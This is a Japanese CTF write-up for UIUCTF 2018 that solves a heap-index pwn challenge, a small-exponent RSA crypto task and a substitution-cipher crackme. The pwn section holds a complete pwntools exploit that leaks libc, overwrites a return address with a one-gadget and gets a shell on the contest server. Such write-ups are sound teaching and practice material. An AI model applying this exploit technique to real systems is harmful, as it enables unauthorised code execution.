UIUCTF 2018 writeup
[Pwn 300] how2heap
ELF 64-bit、動的リンク、Full RELRO, SSP, NX, PIE有効。
$ file how2heap how2heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a22c88d960ee2d2ae953dcb5ddf627700b00935a, stripped $ checksec how2heap [*] '/program/ctf/uiuctf/2018/how2heap/how2heap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
問題名にheapと入っているがこれはメモリ空間のheapではなくデータ構造のheap。
$ ./how2heap Help! I've made too many GW2 alts! Can you help me? =========================================== GW2 Character Management Interface =========================================== 0. Line up your characters nicely 1. Do a head count 2. Make a new character 3. Delete old characters 9. Quit GW2 forever Choice:
characterの年齢と名前を管理するプログラムで、年齢が高いcharacterが先頭に来るようにheapを使っている。 選択肢が5つあり、
- line: 乱れたheap構造を正しくする(年上のcharacterが先頭に来るようにする)
- do: 木構造(実際には配列)を先頭から見ていって年齢が0でないものをカウントし、それをheapのサイズとして保存する。
- make: heapのサイズが0xe以下(符号つき)ならば、新しいcharacterの名前と年齢を入力してheapの末尾に追加する(末尾は保存されているheapのサイズによって決まる)。必要があれば親のノードと入れ替えてノード間の大小を保たせる。
- delete: 先頭のcharacterの年齢が0でなければ末尾のcharacterを先頭に持ってきて、末尾の名前だけ消す。heapのサイズを1減らす。消したcharacterの名前を出力する(リークに使う)。
- quit: retする。
まず、deleteで末尾の年齢を消していないため何度もdeleteさせることができ、heapのサイズを-1にできる。ここでmakeを行うと、heapのサイズが保存されている場所がheapの末尾だとみなされてheapのサイズを変更できる。サイズをうまくいじってdeleteでstack上にあるlibcのアドレスをheapの先頭にもってきて、もう一度deleteをしてアドレスをリークする。あとはmakeでheapのサイズを[戻り番地があるアドレスまでのoffset - 1<<63]に変えて戻り番地をone gadget RCEのアドレスに書き換える。gadgetを探すにはこれが便利↓
#!/usr/bin/env python from pwn import * def line(): s.sendlineafter('Choice: ', '0') def do(): s.sendlineafter('Choice: ', '1') def make(name,age): s.sendlineafter('Choice: ', '2') s.sendlineafter('name? ', name) s.sendlineafter('age? ', str(age)) def delete(): s.sendlineafter('Choice: ', '3') def quit(): s.sendlineafter('Choice: ', '9') if __name__ == '__main__': if len(sys.argv) == 1: s = process('./how2heap', env = {'LD_PRELOAD': './libc-2.26.so'}) else: s = remote('challenges1.uiuc.tf', 38910) onegadgets = [0x47c46, 0x47c9a, 0xfccde, 0xfdb8e] make('A' * 7, 1) make('A' * 7, 1) make('A' * 7, 1) delete() delete() delete() delete() make('A' * 7, -0x9) line() delete() delete() s.recvline() text_base = u64(s.recvuntil(', ')[:-2].ljust(8,'\0')) - 0x123c log.info('text base: %#x' % text_base) do() delete() s.recvline() libc_base = u64(s.recvuntil(', ')[:-2].ljust(8,'\0')) - 0x3db720 log.info('libc base: %#x' % libc_base) do() delete() delete() delete() make('A' * 7, (-1<<63) + 0x10) make(p64(libc_base + onegadgets[3])[:-1], u64('B' * 7 + '\0')) quit() s.interactive()
$ ./exploit.py remote [+] Opening connection to challenges1.uiuc.tf on port 38910: Done [*] text base: 0x55765cfa2000 [*] libc base: 0x7efed3c92000 [*] Switching to interactive mode :( $ ls bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag.txt flag{N0+_qu1t3_th3_h34P_u_w3r3_xp3ct1nG}
[Crypto 200] Hastad
問題文にe=3
とだけ書かれて2つのファイルが渡される。1つは暗号文でもう1つはRSAのmodに使われるnだと思う。値を比べてみると暗号文がnに比べてとても小さかったので試しに三乗根を取ってみたらフラグが出てきた。
#!/usr/bin/env python from Crypto.Util.number import * c = map(lambda x: int(x,16), ["10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65", "10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965", "10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65", "10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65", "10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165", "10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965", "10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165", "10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065", "10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65", "10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65", "10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065", "10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965", "10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665", "10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665", "10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65"]) m = map(lambda x: int(x,16), ["0xbc4ec2b74d85fb57ec07f538b59987c1150042ef76178b7af6dc09ca139dc8570226fe0317f3b73e8f98de38eb03a986496431d8526be4e65d47d86130a4370348b8a8dbba80d922f4dbac31b95f1028baac1ba8f8cab00d6e362c761da0dece81a700b92a5c1d79ec50451b3147805123e92f424d422d688ab020280d35384f", "0xd83a59170679b7d8b2199e98656717c515e06e44e65b5f7b687e4fec6d21a7e6e75ecbcf208202f210ef8e29a7ad44ab72914b1f35d502f6d7f657e5512d4b989773515cbc046ca3ffef37f3090548ac1086d96c96fe7edb9bdeb58ba635fa1582da4a85357105293139c8152d70c2ec5ec667bb91197c353cd6aafac73476df", "0xc39ab84fbf6709048427c05dbd303f0ba2f90ecdd51a809f1d8da9df0546a771e982a6bccb299c4bf12d1b0b11df88b0627563d726bb70c5121cb5722c75e35b54e6d43d09443738fe3ac8e5a8bb74b1667ddf6592359d9fc65a05a32b98a50c52f1339ed8b5fab5616d52d81a11579a83fc33e069c4d9cfb93b24d752937ced"]) def cbrt(x): l = 1 r = 1<<1024 while l + 1 < r: m = (l + r) // 2 if m ** 3 <= x: l = m else: r = m return l for x in c: print long_to_bytes(cbrt(x))
$ ./solve.py flag{klkjlkjjuibnjgjcbskdfks} flag{wh00ps_srry_4_br0adcast} flag{sdgsdgsdfgsdfsdgfwegdsg} flag{klkjlkjjuibnjgjcbskdfks} flag{lplplplplpllplasdasdlpl} flag{wh00ps_srry_4_br0adcast} flag{lplplplplpllplasdasdlpl} flag{alfaadsaldhlawidjlxicli} flag{sdgsdgsdfgsdfsdgfwegdsg} flag{vnmxsfwu382423423rfs3ss} flag{alfaadsaldhlawidjlxicli} flag{wh00ps_srry_4_br0adcast} flag{sdflsdfhsdcuweuhckdufhk} flag{sdflsdfhsdcuweuhckdufhk} flag{vnmxsfwu382423423rfs3ss}
[Rev 100] triptych
crackme系の問題。
実行中にコードを生成しているようなのでgdbで追ってみると最後にvalidateを呼び出していることがわかった。
gdb-peda$ disas validate Dump of assembler code for function validate: => 0x00000000004006a6 <+0>: push rbp 0x00000000004006a7 <+1>: mov rbp,rsp 0x00000000004006aa <+4>: sub rsp,0x70 0x00000000004006ae <+8>: mov QWORD PTR [rbp-0x68],rdi 0x00000000004006b2 <+12>: mov rax,QWORD PTR fs:0x28 0x00000000004006bb <+21>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006bf <+25>: xor eax,eax 0x00000000004006c1 <+27>: movabs rax,0x797472657771275f 0x00000000004006cb <+37>: mov QWORD PTR [rbp-0x30],rax 0x00000000004006cf <+41>: movabs rax,0x73617d7b706f6975 0x00000000004006d9 <+51>: mov QWORD PTR [rbp-0x28],rax 0x00000000004006dd <+55>: movabs rax,0x7a6c6b6a68676664 0x00000000004006e7 <+65>: mov QWORD PTR [rbp-0x20],rax 0x00000000004006eb <+69>: movabs rax,0x7c6d6e62766378 0x00000000004006f5 <+79>: mov QWORD PTR [rbp-0x18],rax 0x00000000004006f9 <+83>: mov DWORD PTR [rbp-0x5c],0x0 0x0000000000400700 <+90>: jmp 0x400777 <validate+209> 0x0000000000400702 <+92>: mov eax,DWORD PTR [rbp-0x5c] 0x0000000000400705 <+95>: movsxd rdx,eax 0x0000000000400708 <+98>: mov rax,QWORD PTR [rbp-0x68] 0x000000000040070c <+102>: add rax,rdx 0x000000000040070f <+105>: movzx eax,BYTE PTR [rax] 0x0000000000400712 <+108>: cmp al,0x5e 0x0000000000400714 <+110>: jle 0x40072a <validate+132> 0x0000000000400716 <+112>: mov eax,DWORD PTR [rbp-0x5c] 0x0000000000400719 <+115>: movsxd rdx,eax 0x000000000040071c <+118>: mov rax,QWORD PTR [rbp-0x68] 0x0000000000400720 <+122>: add rax,rdx 0x0000000000400723 <+125>: movzx eax,BYTE PTR [rax] 0x0000000000400726 <+128>: cmp al,0x7d 0x0000000000400728 <+130>: jle 0x400734 <validate+142> 0x000000000040072a <+132>: mov edi,0x0 0x000000000040072f <+137>: call 0x400590 <exit@plt> 0x0000000000400734 <+142>: mov DWORD PTR [rbp-0x58],0x0 0x000000000040073b <+149>: jmp 0x40076d <validate+199> 0x000000000040073d <+151>: mov eax,DWORD PTR [rbp-0x58] 0x0000000000400740 <+154>: movsxd rdx,eax 0x0000000000400743 <+157>: mov rax,QWORD PTR [rbp-0x68] 0x0000000000400747 <+161>: add rdx,rax 0x000000000040074a <+164>: mov eax,DWORD PTR [rbp-0x58] 0x000000000040074d <+167>: movsxd rcx,eax 0x0000000000400750 <+170>: mov rax,QWORD PTR [rbp-0x68] 0x0000000000400754 <+174>: add rax,rcx 0x0000000000400757 <+177>: movzx eax,BYTE PTR [rax] 0x000000000040075a <+180>: movsx eax,al 0x000000000040075d <+183>: sub eax,0x5f 0x0000000000400760 <+186>: cdqe 0x0000000000400762 <+188>: movzx eax,BYTE PTR [rbp+rax*1-0x30] 0x0000000000400767 <+193>: mov BYTE PTR [rdx],al 0x0000000000400769 <+195>: add DWORD PTR [rbp-0x58],0x1 0x000000000040076d <+199>: cmp DWORD PTR [rbp-0x58],0x17 0x0000000000400771 <+203>: jle 0x40073d <validate+151> 0x0000000000400773 <+205>: add DWORD PTR [rbp-0x5c],0x1 0x0000000000400777 <+209>: cmp DWORD PTR [rbp-0x5c],0x2 0x000000000040077b <+213>: jle 0x400702 <validate+92> 0x000000000040077d <+215>: movabs rax,0x7b646e6a7d756d7a 0x0000000000400787 <+225>: mov QWORD PTR [rbp-0x50],rax 0x000000000040078b <+229>: movabs rax,0x7b6f646e5f667b6f 0x0000000000400795 <+239>: mov QWORD PTR [rbp-0x48],rax 0x0000000000400799 <+243>: movabs rax,0x61677b5f7a685f7b 0x00000000004007a3 <+253>: mov QWORD PTR [rbp-0x40],rax 0x00000000004007a7 <+257>: mov BYTE PTR [rbp-0x38],0x0 0x00000000004007ab <+261>: mov DWORD PTR [rbp-0x54],0x0 0x00000000004007b2 <+268>: jmp 0x4007e0 <validate+314> 0x00000000004007b4 <+270>: mov eax,DWORD PTR [rbp-0x54] 0x00000000004007b7 <+273>: movsxd rdx,eax 0x00000000004007ba <+276>: mov rax,QWORD PTR [rbp-0x68] 0x00000000004007be <+280>: add rax,rdx 0x00000000004007c1 <+283>: movzx edx,BYTE PTR [rax] 0x00000000004007c4 <+286>: mov eax,DWORD PTR [rbp-0x54] 0x00000000004007c7 <+289>: cdqe 0x00000000004007c9 <+291>: movzx eax,BYTE PTR [rbp+rax*1-0x50] 0x00000000004007ce <+296>: cmp dl,al 0x00000000004007d0 <+298>: je 0x4007dc <validate+310> 0x00000000004007d2 <+300>: mov edi,0x0 0x00000000004007d7 <+305>: call 0x400590 <exit@plt> 0x00000000004007dc <+310>: add DWORD PTR [rbp-0x54],0x1 0x00000000004007e0 <+314>: cmp DWORD PTR [rbp-0x54],0x18 0x00000000004007e4 <+318>: jle 0x4007b4 <validate+270> 0x00000000004007e6 <+320>: mov edi,0x400be4 0x00000000004007eb <+325>: call 0x400540 <puts@plt> 0x00000000004007f0 <+330>: nop 0x00000000004007f1 <+331>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004007f5 <+335>: xor rax,QWORD PTR fs:0x28 0x00000000004007fe <+344>: je 0x400805 <validate+351> 0x0000000000400800 <+346>: call 0x400550 <__stack_chk_fail@plt> 0x0000000000400805 <+351>: leave 0x0000000000400806 <+352>: ret
validateでは入力をテーブルにしたがって3回置換し、ある文字列と比較して正誤の判定を行っている。つまり、この置換の逆を計算すればいい。
#!/usr/bin/env python encoded = "zmu}jnd{o{f_ndo{{_hz_{ga" table = "_`qwertyuiop{}asdfghjklzxcvbnm|" o = [chr(i) for i in range(0x5f,0x7d+1)] t = [chr(i) for i in range(0x5f,0x7d+1)] for j in range(3): for i in range(len(t)): t[i] = table[ord(t[i]) - 0x5f] d = {} for i,c in enumerate(t): d[c] = i print ''.join([o[d[c]] for c in encoded])
$ ./solve.py flag{theres_three_of_em}
解きたかった問題
- [Crypto 250] xoracle
- [Misc 200] important videos